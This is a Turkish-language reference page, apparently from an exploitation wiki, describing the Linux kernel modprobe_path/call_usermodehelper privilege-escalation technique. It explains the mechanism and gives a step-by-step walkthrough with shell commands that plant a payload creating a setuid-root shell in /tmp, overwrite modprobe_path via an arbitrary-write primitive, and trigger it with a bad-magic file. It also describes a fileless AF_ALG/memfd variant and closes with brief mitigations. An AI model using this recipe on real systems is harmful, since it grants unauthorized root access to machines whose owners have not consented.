call_usermodehelper privesc¶
Bir userspace-helper path tutan yazılabilir kernel global'ini abuse ederek kernel'in attacker-controlled bir binary'yi root olarak spawn etmesini sağla.
Mechanism¶
Kernel, birkaç "usermode helper" çalıştırır — module'ları auto-load etmek ya da core dump'ları handle etmek gibi işler için kernel context'inden launch ettiği userspace program'lar. Bunlar call_usermodehelper_setup() → call_usermodehelper_exec() → call_usermodehelper_exec_work() üzerinden tam root privilege'larıyla (PID-1'in context'i) çalışır. Helper'ın path'i modprobe_path (char modprobe_path[KMOD_PATH_LEN] = CONFIG_MODPROBE_PATH;, default /sbin/modprobe) veya core_pattern gibi yazılabilir kernel global'lerinde saklanır.
Note
Bu, attacker elinde bir arbitrary-address-write (AAW) primitive olduğunda kullanılan kanonik post-exploitation finalizer'dır. Bilinen bir global'e tek bir contiguous write yetiyor — leak edilmiş heap pointer yok, forge edilmiş cred yok ve commit_creds'i hedefleyen hardening'i de bypass ediyor. En popüler sink modprobe_path'tir: execve() binary format'ını hiçbir handler'ın tanımadığı bir dosyayı çalıştırdığında, search_binary_handler() ilk dört byte'ı kontrol eder; bunlar printable değilse request_module("binfmt-%04x", ...) → __request_module() → call_modprobe() çağrılır ve modprobe_path root olarak spawn edilir.
Walkthrough¶
- Symbol'ü resolve et (KASLR-adjusted) — bir leak'ten
kernel_base + offset, ya da gevşek bir box'tagrep modprobe_path /proc/kallsyms. - Payload'ı ve non-printable magic'li bir trigger dosyasını yerleştir:
echo -e '#!/bin/sh\nchmod -s /bin/su; cp /bin/sh /tmp/sh; chmod u+s /tmp/sh' > /tmp/x
chmod +x /tmp/x
printf '\xff\xff\xff\xff' > /tmp/dummy # non-printable magic, no binfmt handler
chmod +x /tmp/dummy
- AAW'yi kullanarak
modprobe_path'i"/tmp/x\x00"byte'larıyla overwrite et. /tmp/dummy'i çalıştırarak format-handler miss'ini tetikle (örn.system("/tmp/dummy")). Kernel bir binfmt handler bulamaz ve/tmp/x'i root olarak çalıştırır.
Beklenen: /tmp/sh bir setuid-root shell olarak belirir; /tmp/sh -p uid=1000 euid=0 verir.
AF_ALG ile fileless / post-6.14 trigger
Klasik execve-with-bad-magic trigger'ı v6.14-rc1'de search_binary_handler()'dan kaldırıldı (legacy block return -ENOEXEC; oldu). Bilinmeyen bir salg_type'a sahip bir AF_ALG socket üzerinde bind() yapmak request_module("algif-%s", sa->salg_type) çağırır ve execve olmadan aynı usermodehelper path'ine ulaşır. memfd_create() ile birleştirildiğinde modprobe_path, tamamen fileless bir exploit için /proc/<pid>/fd/<fd>'yi gösterebilir.
Mitigation¶
CONFIG_STATIC_USERMODEHELPER=y, tüm usermode helper'ları tek bir sabit binary'den geçmeye zorlar ve overwrite'ı etkisiz kılar — ama mainstream distro'larda kapalıdır. Unprivileged module autoload'u ve AF_ALG revival path'ini kısıtlamak attack surface'ini azaltır.